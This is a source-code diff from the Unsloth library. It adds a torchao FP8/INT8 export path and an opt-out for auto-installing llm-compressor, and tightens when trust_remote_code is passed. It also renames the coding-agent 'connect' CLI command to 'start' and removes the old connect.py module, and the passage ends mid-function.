"""Return the llm-compressor-main shadow PYTHONPATH, or None if not set.""" + pp = os.environ.get(_COMPRESSED_QUANTIZE_PYTHONPATH_ENV, "").strip() + return pp or None + + def install_llm_compressor(): """Import llm-compressor, installing it on first use for FP8/FP4 export. - Pins the current torch + transformers so pip does not upgrade them (a plain install pulls - transformers>=5 and breaks Unsloth). Returns (oneshot, QuantizationModifier). + Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does + not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install. + Returns (oneshot, QuantizationModifier). """ try: from llmcompressor import oneshot @@ -1376,9 +1494,24 @@ def install_llm_compressor(): except Exception: pass + # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one. + if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in ( + "0", + "", + "false", + "no", + ): + raise RuntimeError( + "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not " + "installed, and automatic installation is disabled via " + "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + "(pin torch and transformers to your current versions to avoid upgrading them)." + ) + print( "Unsloth: Installing llm-compressor for FP8/FP4 export " - "(pinning your torch + transformers so they are not upgraded). " + f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). " "This can take a few minutes..." ) import importlib @@ -1401,13 +1534,13 @@ def install_llm_compressor(): import importlib.util if importlib.util.find_spec("pip") is not None: - cmd = [sys.executable, "-m", "pip", "install", "llmcompressor"] + cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC] elif shutil.which("uv") is not None: - cmd = ["uv", "pip", "install", "--python", sys.executable, "llmcompressor"] + cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC] else: raise RuntimeError( "Unsloth: cannot install llm-compressor because this environment has neither pip nor " - f"uv. Install it manually with:\n uv pip install --python {sys.executable} llmcompressor\n" + f"uv. Install it manually with:\n uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them)." ) cpath = None @@ -1421,8 +1554,8 @@ def install_llm_compressor(): except subprocess.CalledProcessError as e: raise RuntimeError( "Unsloth: Failed to install llm-compressor. Install it manually with:\n" - f" uv pip install --python {sys.executable} llmcompressor\n" - f"or, if pip is available:\n {sys.executable} -m pip install llmcompressor\n" + f" uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n" + f"or, if pip is available:\n {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n" "(pin torch and transformers to your current versions to avoid upgrading them).\n" f"Underlying error: {e}" ) @@ -2001,10 +2134,40 @@ def unsloth_save_pretrained_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = save_directory, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = push_to_hub, + token = token, + is_main_process = is_main_process, + # Forward standard save kwargs to the 16bit merge. + state_dict = state_dict, + save_function = save_function, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + variant = variant, + save_peft_format = save_peft_format, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self del arguments["self"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -2085,6 +2248,37 @@ def unsloth_push_to_hub_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = repo_id, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = True, + token = token, + is_main_process = True, + private = private, + commit_message = commit_message, + commit_description = commit_description, + create_pr = create_pr, + revision = revision, + # Forward standard save kwargs to the 16bit merge. + use_temp_dir = use_temp_dir, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self arguments["save_directory"] = repo_id @@ -2092,6 +2286,7 @@ def unsloth_push_to_hub_merged( del arguments["self"] del arguments["repo_id"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -3380,7 +3575,9 @@ def _unsloth_save_lora_gguf( cmd += ["--base", base_model_id] else: cmd += ["--base-model-id", base_model_id] - if bool(getattr(model.config, "auto_map", None)): + # Only pass --trust-remote-code when the loaded model actually came from custom code (the + # approved load decision), not merely because its config carries an auto_map entry. + if _loaded_via_remote_code(model): cmd.append("--trust-remote-code") # Expose the token to the converter so it can fetch a gated/private base config from the Hub. @@ -3790,10 +3987,40 @@ def unsloth_generic_save_pretrained_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = save_directory, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = push_to_hub, + token = token, + is_main_process = is_main_process, + # Forward standard save kwargs to the 16bit merge. + state_dict = state_dict, + save_function = save_function, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + variant = variant, + save_peft_format = save_peft_format, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self del arguments["self"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -3874,6 +4101,37 @@ def unsloth_generic_push_to_hub_merged( gc.collect() return + # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path. + _torchao = _normalize_torchao_method(save_method) + if _torchao is not None: + kind, suffix = _torchao + _unsloth_save_torchao( + model = self, + save_directory = repo_id, + tokenizer = tokenizer, + kind = kind, + suffix = suffix, + push_to_hub = True, + token = token, + is_main_process = True, + private = private, + commit_message = commit_message, + commit_description = commit_description, + create_pr = create_pr, + revision = revision, + # Forward standard save kwargs to the 16bit merge. + use_temp_dir = use_temp_dir, + max_shard_size = max_shard_size, + safe_serialization = safe_serialization, + tags = tags, + temporary_location = temporary_location, + maximum_memory_usage = maximum_memory_usage, + datasets = datasets, + ) + for _ in range(3): + gc.collect() + return + arguments = dict(locals()) arguments["model"] = self arguments["save_directory"] = repo_id @@ -3881,6 +4139,7 @@ def unsloth_generic_push_to_hub_merged( del arguments["self"] del arguments["repo_id"] del arguments["_compressed"] + del arguments["_torchao"] del arguments["calibration_dataset"] del arguments["num_calibration_samples"] del arguments["max_seq_length"] @@ -4092,22 +4351,36 @@ def _unsloth_save_compressed_tensors( if not is_main_process: return None - # 1) Install llm-compressor and gate on scheme availability BEFORE merging, so an unsupported - # scheme (e.g. mxfp8) fails fast instead of writing a full 16bit checkpoint first. - install_llm_compressor() - if not _scheme_is_available(scheme): - try: - import transformers as _tf - tf_ver = _tf.__version__ - except Exception: - tf_ver = "unknown" - raise RuntimeError( - f"Unsloth: scheme '{scheme}' is not available in your installed " - f"compressed-tensors / llm-compressor.\n" - f"It requires a newer llm-compressor that needs transformers>=5.9 " - f"(you have transformers {tf_ver}).\n" - "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor." - ) + # 1) Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of + # writing a full 16bit checkpoint first. With the llm-compressor-main shadow the subprocess + # validates everything itself, so skip the workspace install / ceiling / scheme checks; without + # it, install the workspace llm-compressor and fail fast past its transformers ceiling. + _shadow_pythonpath = _compressed_quantize_pythonpath() + if _shadow_pythonpath is None: + install_llm_compressor() + # llm-compressor cannot run under a newer transformers than its ceiling: the quantization + # subprocess would die with a cryptic ImportError (TORCH_INIT_FUNCTIONS) only AFTER the costly + # 16bit merge. Detect and fail fast with an actionable message instead. + _exceeds, _tf_ver = _transformers_exceeds_llm_compressor_ceiling() + if _exceeds: + raise RuntimeError( + f"Unsloth: FP8/FP4 compressed-tensors export is not available for this model. It runs " + f"under transformers {_tf_ver}, but llm-compressor supports transformers " + f"<= {_LLM_COMPRESSOR_MAX_TRANSFORMERS}. Export to GGUF or 16-bit instead." + ) + if not _scheme_is_available(scheme): + try: + import transformers as _tf + tf_ver = _tf.__version__ + except Exception: + tf_ver = "unknown" + raise RuntimeError( + f"Unsloth: scheme '{scheme}' is not available in your installed " + f"compressed-tensors / llm-compressor.\n" + f"It requires a newer llm-compressor that needs transformers>=5.9 " + f"(you have transformers {tf_ver}).\n" + "Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor." + ) # 2) Pick the local working dir. For a hub push, save_directory is a repo id, so merge and # quantize inside an isolated temp dir instead of writing ./ into the cwd. @@ -4159,8 +4432,8 @@ def _unsloth_save_compressed_tensors( ) unsloth_generic_save(**merge_args) - # 4) Detect VLM + trust_remote_code from the in-memory model config. A vision/multimodal - # model exposes a vision_config or an explicitly vision-named architecture; a bare + # 4) Detect VLM from the in-memory model config. A vision/multimodal model exposes a + # vision_config or an explicitly vision-named architecture; a bare # *ForConditionalGeneration also matches text seq2seq models (T5/BART/Whisper), so it # is not treated as a VLM on its own. is_vlm = False @@ -4174,9 +4447,13 @@ def _unsloth_save_compressed_tensors( "Unsloth: FP8/FP4 compressed export for vision / multimodal models is " "experimental; vision-tower layers may be affected." ) - trust_remote_code = ( - bool(getattr(model.config, "auto_map", None)) if hasattr(model, "config") else False - ) + # trust_remote_code must reflect the approved load decision (whether the model / tokenizer + # was actually loaded from custom code), not the config's static auto_map, so a + # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess. + # Model and tokenizer trust stay separate, like the torchao path: an approved custom + # tokenizer must not enable an unapproved model's code in the subprocess (or vice versa). + model_trust = _loaded_via_remote_code(model) + tok_trust = _loaded_via_remote_code(tokenizer) # 5) Marshal the calibration dataset for the subprocess: None -> ultrachat default; a # str/PathLike is a local save_to_disk dir if it exists else a Hub id; Dataset -> temp. @@ -4251,8 +4528,10 @@ def _unsloth_save_compressed_tensors( cmd += ["--calibration-dataset", calib_value] if is_vlm: cmd.append("--is-vlm") - if trust_remote_code: + if model_trust: cmd.append("--trust-remote-code") + if tok_trust: + cmd.append("--trust-remote-code-tokenizer") if variant: cmd += ["--variant", variant] @@ -4285,8 +4564,15 @@ def _unsloth_save_compressed_tensors( env["HF_TOKEN"] = token env["HUGGING_FACE_HUB_TOKEN"] = token + # Clean PYTHONPATH = shadow only. torch still comes from the interpreter's site-packages; + # transformers 5.x + llm-compressor main come from the shadow. Dropping the inherited + # PYTHONPATH removes any parent transformers sidecar so the shadow's is authoritative. + if _shadow_pythonpath is not None: + env["PYTHONPATH"] = _shadow_pythonpath + print( f"Unsloth: Quantizing the merged model to {scheme} with llm-compressor " + f"{'(llm-compressor-main shadow) ' if _shadow_pythonpath is not None else ''}" "(in a separate process)..." ) try: @@ -4355,6 +4641,237 @@ def _unsloth_save_compressed_tensors( torch.cuda.empty_cache() +def _unsloth_save_torchao( + model, + save_directory: Union[str, os.PathLike], + tokenizer, + kind: str, + suffix: str, + push_to_hub: bool = False, + token: Optional[Union[str, bool]] = None, + is_main_process: bool = True, + **merge_kwargs, +): + """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed). + + Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via + `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA. + `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors). + """ + import tempfile + + if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)): + tokenizer = patch_saving_functions(tokenizer) + if token is None: + token = get_token() + + # Only the main process merges, quantizes, and uploads; other ranks return at once. + if not is_main_process: + return None + + from transformers import ( + AutoModelForCausalLM, + AutoTokenizer, + AutoProcessor, + TorchAoConfig, + ) + from torchao.quantization import Float8WeightOnlyConfig, Int8WeightOnlyConfig + + if kind == "fp8": + quant_type = Float8WeightOnlyConfig() + safe_serialization = True + elif kind == "int8": + quant_type = Int8WeightOnlyConfig() + safe_serialization = False # torchao only supports safetensors for float8 configs + else: + raise RuntimeError(f"Unsloth: unknown torchao export kind '{kind}' (expected fp8/int8).") + + # Always merge into an isolated temp staging dir (never save_directory itself), so a co-selected + # 16-bit export written to save_directory is not overwritten or deleted; the torchao output is + # the sibling "-" (or the repo id on a hub push). + repo_id, work_tmp, model_dev = None, None, None + work_tmp = tempfile.mkdtemp(prefix = "unsloth-torchao-") + if push_to_hub: + repo_id = os.fspath(save_directory) + staging = os.path.join(work_tmp, os.path.basename(repo_id.rstrip("/")) or "model") + out_dir = staging + "-" + suffix + else: + base = os.fspath(save_directory).rstrip("/\\") or os.fspath(save_directory) + staging = os.path.join(work_tmp, os.path.basename(base) or "model") + out_dir = base + "-" + suffix + + api = None + try: + if push_to_hub: + from huggingface_hub import HfApi + api = HfApi(token = token) + api.create_repo( + repo_id = repo_id, + repo_type = "model", + private = merge_kwargs.get("private", None), + exist_ok = True, + ) + + # 1) Merge to 16bit at a staging dir (LoRA and base alike). The reload reads default + # weight filenames, so never write variant-named shards here. + merge_kwargs.pop("variant", None) + print(f"Unsloth: Merging to 16bit before torchao {kind} quantization...") + merge_args = dict(merge_kwargs) + merge_args.update( + dict( + model = model, + tokenizer = tokenizer, + save_directory = staging, + save_method = "merged_16bit", + push_to_hub = False, + token = token, + is_main_process = is_main_process, + ) + ) + unsloth_generic_save(**merge_args) + + # 2) Detect VLM + reload class. A bare *ForConditionalGeneration also matches text seq2seq + # (T5/BART/Whisper), so key off vision_config / a vision-named architecture only. + is_vlm = False + if hasattr(model, "config"): + archs = getattr(model.config, "architectures", None) or [] + is_vlm = hasattr(model.config, "vision_config") or any( + x.endswith("ForVisionText2Text") for x in archs + ) + # trust_remote_code must reflect the approved load decision - whether the in-memory model / + # tokenizer was itself loaded from custom code - not the staged config's auto_map, which an + # attacker can set on a built-in-loadable model to run unvetted code past the consent gate. + model_trust = _loaded_via_remote_code(model) + tok_trust = _loaded_via_remote_code(tokenizer) + # Reload with the class that matches the checkpoint: an image-text VLM class (with a + # fallback for older Transformers that lack AutoModelForImageTextToText); the model's own + # architecture class for encoder-decoder seq2seq (T5/BART/Whisper are not causal LMs, and + # AutoModelForCausalLM would fail to load them); otherwise causal-LM. + if is_vlm: + try: + from transformers import AutoModelForImageTextToText as _reload_model + except ImportError: + from transformers import AutoModelForVision2Seq as _reload_model + auto_model = _reload_model + elif getattr(getattr(model, "config", None), "is_encoder_decoder", False): + import transformers as _tf + auto_model = next( + ( + getattr(_tf, _arch) + for _arch in (getattr(model.config, "architectures", None) or []) + if getattr(_tf, _arch, None) is not None + ), + AutoModelForCausalLM, + ) + else: + auto_model = AutoModelForCausalLM + auto_processor = AutoProcessor if is_vlm else AutoTokenizer + + # 3) Free the in-memory model's accelerator memory before reloading a fresh copy from disk. + # Covers CUDA and XPU (torchao runs on Intel GPUs too), so the original doesn't sit + # resident alongside the reloaded copy and OOM a device that fit the model once. + _has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available() + try: + if ( + (torch.cuda.is_available() or _has_xpu) + and hasattr(model, "parameters") + and not getattr(model, "is_loaded_in_4bit", False) + and not getattr(model, "is_loaded_in_8bit", False) + and not getattr(model, "is_quantized", False) + ): + _devs = {str(p.device) for p in model.parameters()} + if len(_devs) == 1 and next(iter(_devs)).startswith(("cuda", "xpu")): + _dev = next(model.parameters()).device + model.to("cpu") + model_dev = _dev + except Exception: + model_dev = None + for _ in range(3): + gc.collect() + if torch.cuda.is_available(): + torch.cuda.empty_cache() + if _has_xpu: + torch.xpu.empty_cache() + + # 4) Reload the staged 16bit checkpoint with torchao applied. bfloat16 is required; + # device_map="auto" falls back to CPU, so this works on any hardware. + print(f"Unsloth: Quantizing the merged model to torchao {kind}...") + dtype_kw = {"torch_dtype": torch.bfloat16} if HAS_TORCH_DTYPE else {"dtype": torch.bfloat16} + quantized_model = auto_model.from_pretrained( + staging, + device_map = "auto", + quantization_config = TorchAoConfig(quant_type = quant_type), + trust_remote_code = model_trust, + **dtype_kw, + ) + staged_tokenizer = auto_processor.from_pretrained(staging, trust_remote_code = tok_trust) + + quantized_model.save_pretrained(out_dir, safe_serialization = safe_serialization) + staged_tokenizer.save_pretrained(out_dir) + del quantized_model + for _ in range(3): + gc.collect() + if torch.cuda.is_available(): + torch.cuda.empty_cache() + + # 5) Validate the artifact. + cfg_path = os.path.join(out_dir, "config.json") + cfg = {} + if os.path.exists(cfg_path): + with open(cfg_path, "r", encoding = "utf-8") as f: + cfg = json.load(f) + if "quantization_config" not in cfg: + raise RuntimeError( + f"Unsloth: torchao {kind} export failed - no quantization_config written to " + f"{cfg_path}" + ) + + # 6) Optional hub upload of the quantized artifact (the temp staging is cleaned in finally). + if push_to_hub: + print(f"Unsloth: Uploading torchao {kind} checkpoint to '{repo_id}' ...") + api.upload_folder( + folder_path = out_dir, + repo_id = repo_id, + repo_type = "model", + commit_message = merge_kwargs.get("commit_message", None), + commit_description = merge_kwargs.get("commit_description", None), + create_pr = merge_kwargs.get("create_pr", False), + revision = merge_kwargs.get("revision", None), + ) + datasets = merge_kwargs.get("datasets", None) + if datasets: + try: + from huggingface_hub import metadata_update + metadata_update(repo_id, {"datasets": datasets}, overwrite = True, token = token) + except Exception as meta_err: + logger.warning_once( + f"Unsloth: could not update datasets metadata for {repo_id}: {meta_err}" + ) + + result = repo_id if push_to_hub else out_dir + print( + f"Unsloth: Saved torchao {kind} checkpoint to '{result}'.\n" + f"Unsloth: This is portable (produced on any device, no NVIDIA GPU required). Load it " + f"with vLLM or transformers; FP8/INT8 acceleration is available on supported GPUs." + ) + return result + finally: + if model_dev is not None: + try: + model.to(model_dev) + except Exception: + logger.warning_once( + "Unsloth: could not restore the model to its original device after torchao " + "export; it may remain on CPU." + ) + if work_tmp is not None: + shutil.rmtree(work_tmp, ignore_errors = True) + for _ in range(3): + gc.collect() + if torch.cuda.is_available(): + torch.cuda.empty_cache() + + def unsloth_save_pretrained_torchao( self, save_directory: Union[str, os.PathLike], diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py index 440b6276cd..b3831f5314 100644 --- a/unsloth_cli/__init__.py +++ b/unsloth_cli/__init__.py @@ -11,7 +11,7 @@ from importlib.metadata import version as package_version, PackageNotFoundError from unsloth_cli.commands.train import train from unsloth_cli.commands.inference import inference from unsloth_cli.commands.chat import chat -from unsloth_cli.commands.connect import connect_app +from unsloth_cli.commands.start import start_app from unsloth_cli.commands.export import export, list_checkpoints from unsloth_cli.commands.studio import ( run as studio_run, @@ -79,9 +79,16 @@ app.command()(export) app.command("list-checkpoints")(list_checkpoints) app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.") app.add_typer( - connect_app, + start_app, + name = "start", + help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Studio.", +) +# Backwards-compatible hidden alias: `unsloth connect` routes to `unsloth start`. +app.add_typer( + start_app, name = "connect", - help = "Connect a coding agent (Claude Code, Codex) to Studio.", + hidden = True, + help = "Deprecated alias for `unsloth start`.", ) # Top-level `unsloth run` aliases `unsloth studio run`; same context diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py index a483aeeb6c..d3bfbbf96b 100644 --- a/unsloth_cli/commands/chat.py +++ b/unsloth_cli/commands/chat.py @@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool: if not adapter_cfg_path.exists(): return True - with open(adapter_cfg_path) as f: + with open(adapter_cfg_path, encoding = "utf-8") as f: adapter_cfg = json.load(f) training_method = adapter_cfg.get("unsloth_training_method") diff --git a/unsloth_cli/commands/connect.py b/unsloth_cli/commands/connect.py deleted file mode 100644 index 096a7925e5..0000000000 --- a/unsloth_cli/commands/connect.py +++ /dev/null @@ -1,777 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -"""`unsloth connect` — launch a coding agent against a running Studio server.""" - -import json -import os -import re -import shlex -import shutil -import signal -import subprocess -import urllib.error -import urllib.request -from pathlib import Path -from typing import NoReturn, Optional - -import typer - -from unsloth_cli._inference import ( - _USER_AGENT, - _studio_token, - ensure_studio_backend_path, - find_studio_server, - is_loopback_url, - urlopen_no_redirect, - verify_studio_identity, -) - -connect_app = typer.Typer( - help = "Connect a coding agent to a running Studio server.", - no_args_is_help = True, - context_settings = {"help_option_names": ["-h", "--help"]}, -) - -_CODEX_PROFILE = "unsloth_api" -_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN" -_HERMES_ENV_KEY = "UNSLOTH_API_KEY" -_HERMES_PROVIDER = "unsloth" -_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]" -_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True} -_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN") - -# Shared by every agent command; only the config/env/command differ. -_MODEL_OPTION = typer.Option( - None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio." -) -_KEY_OPTION = typer.Option( - None, - "--api-key", - envvar = "UNSLOTH_API_KEY", - help = ( - "Studio API key. For a local Studio it is minted automatically and " - "remembered per server. For a remote server, pass one with --api-key " - "(or UNSLOTH_API_KEY); it is remembered for next time." - ), -) -_LAUNCH_OPTION = typer.Option( - True, - "--launch/--no-launch", - help = "--no-launch prints the env and command instead (remote shells, WSL).", -) - - -def _fail(message: str) -> NoReturn: - typer.echo(message, err = True) - raise typer.Exit(code = 1) - - -def _http_error_detail(exc: urllib.error.HTTPError) -> str: - try: - body = json.loads(exc.read().decode()) - return body.get("detail") or body["error"]["message"] - except Exception: - return str(exc) - - -def _http_json( - method: str, - url: str, - token: str, - payload = None, - timeout = 30, - error = None, -): - """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail.""" - request = urllib.request.Request( - url, - data = None if payload is None else json.dumps(payload).encode(), - headers = { - "Authorization": f"Bearer {token}", - "Content-Type": "application/json", - "User-Agent": _USER_AGENT, - }, - method = method, - ) - try: - # No redirects: a 3xx would leak this bearer token to an unvetted base. - with urlopen_no_redirect(request, timeout = timeout) as response: - return json.loads(response.read().decode() or "{}") - except urllib.error.HTTPError as exc: - if error is None: - raise - _fail(f"{error}: {_http_error_detail(exc)}") - except (urllib.error.URLError, TimeoutError) as exc: - if error is None: - raise - _fail(f"{error}: {getattr(exc, 'reason', None) or exc}") - - -def _require_studio() -> str: - base = find_studio_server() - if base is None: - expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888") - _fail( - f"No running Studio server found at {expected}. Start one with " - "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server." - ) - return base - - -def _key_cache_path() -> Path: - ensure_studio_backend_path() - from utils.paths import auth_root - return auth_root() / "agent_api_key.json" - - -def _read_cache(cache: Path) -> dict: - try: - data = json.loads(cache.read_text(encoding = "utf-8")) - except Exception: - return {} - return data if isinstance(data, dict) else {} - - -def _server_buckets(servers: dict, base: str) -> dict: - # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a - # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake). - entry = servers.get(base) if isinstance(servers, dict) else None - if isinstance(entry, list): - return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]} - if not isinstance(entry, dict): - return {"saved": [], "minted": []} - - def _strs(name: str) -> list: - value = entry.get(name) - return [k for k in value if isinstance(k, str)] if isinstance(value, list) else [] - - return {"saved": _strs("saved"), "minted": _strs("minted")} - - -def _cached_keys(cache: Path, base: str, source: str) -> list: - # Keys are scoped per server. `source` splits user-supplied --api-key keys - # ("saved", trusted for that base) from auto-minted ones ("minted", replayed - # only after the identity check). Legacy unscoped caches are ignored. - return _server_buckets(_read_cache(cache).get("servers", {}), base)[source] - - -def _write_private_json(path: Path, data: dict) -> None: - # O_CREAT with 0o600 so a file holding an API key is never world-readable, - # even briefly (existing files keep whatever perms the user set). - path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700) - fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - with os.fdopen(fd, "w") as handle: - handle.write(json.dumps(data, indent = 2) + "\n") - - -def _read_json_object(path: Path) -> Optional[dict]: - # {} when missing, None when it can't be parsed as an object (so the caller - # leaves a user-managed file untouched rather than clobbering it). - if not path.exists(): - return {} - try: - data = json.loads(path.read_text(encoding = "utf-8")) - except (ValueError, OSError): - return None - return data if isinstance(data, dict) else None - - -def _subdict(parent: dict, key: str) -> dict: - child = parent.get(key) - if not isinstance(child, dict): - child = parent[key] = {} - return child - - -def _remember_key(cache: Path, base: str, key: str, source: str) -> None: - data = _read_cache(cache) - servers = data.get("servers") - if not isinstance(servers, dict): - servers = data["servers"] = {} - buckets = _server_buckets(servers, base) - other = "minted" if source == "saved" else "saved" - buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8] - buckets[other] = [k for k in buckets[other] if k != key] # a key has one provenance - new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]} - if servers.get(base) == new_entry: - return - servers[base] = new_entry - # Collapse legacy unscoped fields. - data.pop("keys", None) - data.pop("key", None) - try: - _write_private_json(cache, data) - except OSError: - pass # worst case the next launch mints another key - - -def _key_accepted(base: str, key: str) -> bool: - try: - _http_json("GET", f"{base}/v1/models", key) - return True - except Exception: - return False - - -def _agent_api_key(base: str, explicit: Optional[str]) -> str: - cache = _key_cache_path() - if explicit: - _remember_key(cache, base, explicit, "saved") - return explicit - - # Replay a key the user saved for *this exact* server first (scoped per base, - # so it only goes back there -- including a remote/SSH-tunnelled Studio whose - # secret the local handshake can't match). Skip ones the server rejects. - for key in _cached_keys(cache, base, "saved"): - if _key_accepted(base, key): - _remember_key(cache, base, key, "saved") - return key - - # Beyond here we auto-mint or replay an auto-minted key. find_studio_server() - # trusts a base after only a health check, so both are limited to a loopback - # server we can cryptographically confirm is ours. - if not is_loopback_url(base): - _fail( - f"No saved API key for {base} and automatic minting only runs against " - "a local Studio. Create an API key in Studio → Settings → API and " - "pass it with --api-key (it is remembered per server), or set " - "UNSLOTH_API_KEY." - ) - if not verify_studio_identity(base): - _fail( - f"Couldn't verify that {base} is your Studio (it may be running as a " - "different OS user, or another process took the port). Create an API " - "key in Studio → Settings → API and pass it with --api-key, or set " - "UNSLOTH_API_KEY." - ) - - # Identity verified: replay a previously auto-minted key, else mint a new one. - for key in _cached_keys(cache, base, "minted"): - if _key_accepted(base, key): - _remember_key(cache, base, key, "minted") - return key - - # Self-issue a JWT (signed with the local secret) and mint a key. - token = _studio_token() - if token is None: - _fail( - "Couldn't authenticate with the Studio server automatically. Create " - "an API key in Studio → Settings → API and pass it with --api-key, " - "or set UNSLOTH_API_KEY." - ) - key = _http_json( - "POST", - f"{base}/api/auth/api-keys", - token, - {"name": "Coding agents (unsloth connect)"}, - error = "Couldn't create an API key", - )["key"] - _remember_key(cache, base, key, "minted") - return key - - -def _loaded_models(base: str, key: str) -> list: - return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", []) - - -def _resolve_model(base: str, key: str, requested: Optional[str]) -> dict: - models = _loaded_models(base, key) - match = next((m for m in models if m["id"] == requested), None) - if requested and match is None: - typer.echo(f"Loading {requested} on the Studio server (this can take a while)…") - loaded = _http_json( - "POST", - f"{base}/api/inference/load", - key, - {"model_path": requested}, - timeout = 3600, - error = "Model load failed", - ) - # Studio registers the model under a canonical id (resolved identifier, - # casing) that /v1/models echoes but which may differ from the path we - # passed; match on the id the load reports so we don't silently fall - # through to models[0] and connect to a different loaded model. - wanted = {requested} - if isinstance(loaded, dict): - wanted |= {loaded.get("model"), loaded.get("display_name")} - {None} - models = _loaded_models(base, key) - match = next((m for m in models if m["id"] in wanted), None) - if match is not None: - return match - if requested: - # We asked Studio to load it and it didn't surface in /v1/models; don't - # silently hand back an unrelated loaded model. - _fail( - f"Studio didn't report '{requested}' as loaded. Double-check the model " - "id, or load it from the model dropdown in the UI." - ) - if not models: - _fail( - "No model is loaded in Studio. Load one from the model dropdown in " - "the UI, or pass --model to load it from here." - ) - return models[0] - - -def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None: - # Codex always streams, and Studio only streams /v1/responses from llama-server. - try: - status = _http_json("GET", f"{base}/api/inference/status", key) - except urllib.error.HTTPError as exc: - if exc.code == 404: - return # older server without the endpoint; don't block the launch - raise - if status.get("is_gguf"): - return - hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF" - _fail( - f"Codex needs a GGUF model served by llama-server, but {model_id} is on " - f"the transformers backend. Try: unsloth connect codex --model {hint}" - ) - - -def claude_settings_path() -> Path: - return Path.home() / ".claude" / "settings.json" - - -def ensure_claude_attribution_header() -> None: - # The header invalidates the llama.cpp KV cache (~90% slower) and Claude - # Code only honors this setting from settings.json, not the env var. - path = claude_settings_path() - settings = {} - if path.exists(): - try: - settings = json.loads(path.read_text(encoding = "utf-8")) - except (ValueError, OSError): - settings = None - if 